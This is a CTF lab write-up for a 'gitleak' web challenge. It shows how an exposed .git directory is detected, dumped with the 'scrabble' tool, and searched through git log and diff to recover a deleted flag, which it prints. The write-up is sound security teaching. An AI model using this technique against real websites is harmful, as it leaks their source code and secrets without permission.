# Simple Web 0x01(Lab - `gitleak`)
###### tags: `NTUSTWS` `CTF` `Web`
Challenge: http://h4ck3r.quest:9000/

## Exploit - gitleak + basic Git command
1. Use the extension of Firefox(or Google), `Dotgit`, to check if the website actually has `git leak problem`

2. denny0223/scrabble
To use scrabble tool to leak information

    $ git clone https://github.com/denny0223/scrabble.git
    $ cd scrabble
    $ sudo ./scrabble http://h4ck3r.quest:9000/

3. Still no flag
There's `flag.php` but still no flag in there. `HEAD` said `HEAD is now at a0228bd Remove flag.`
Thus, we can look up the history by the command below.

    $ git log --stat a0228bd
    commit a0228bd6ff968f3eca017125a5434b517ad2a83a (HEAD -> master)
    Author: splitline <[e-mail]>
    Date:   Wed Mar 9 16:23:46 2022 +0800

        Remove flag.

     flag.php | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)

    commit 6cfe38db75ec90126f53088ea87c286c83c1bfb3
    Author: splitline <[e-mail]>
    Date:   Wed Mar 9 16:23:15 2022 +0800

        Init

     flag.php  | 5 +++++
     index.php | 1 +
     2 files changed, 6 insertions(+)

4. Check the difference of commit version

    $ git diff HEAD <commit-id>
    diff --git a/flag.php b/flag.php
    index d1f8785..5b6cf79 100644
    --- a/flag.php
    +++ b/flag.php
    @@ -1,5 +1,5 @@
     <?php
    -// No flag for you!
- [ ]     +$FLAG = "FLAG{gitleak_is_fun}";
     ?>

     Flag is in the source code.
    \ No newline at end of file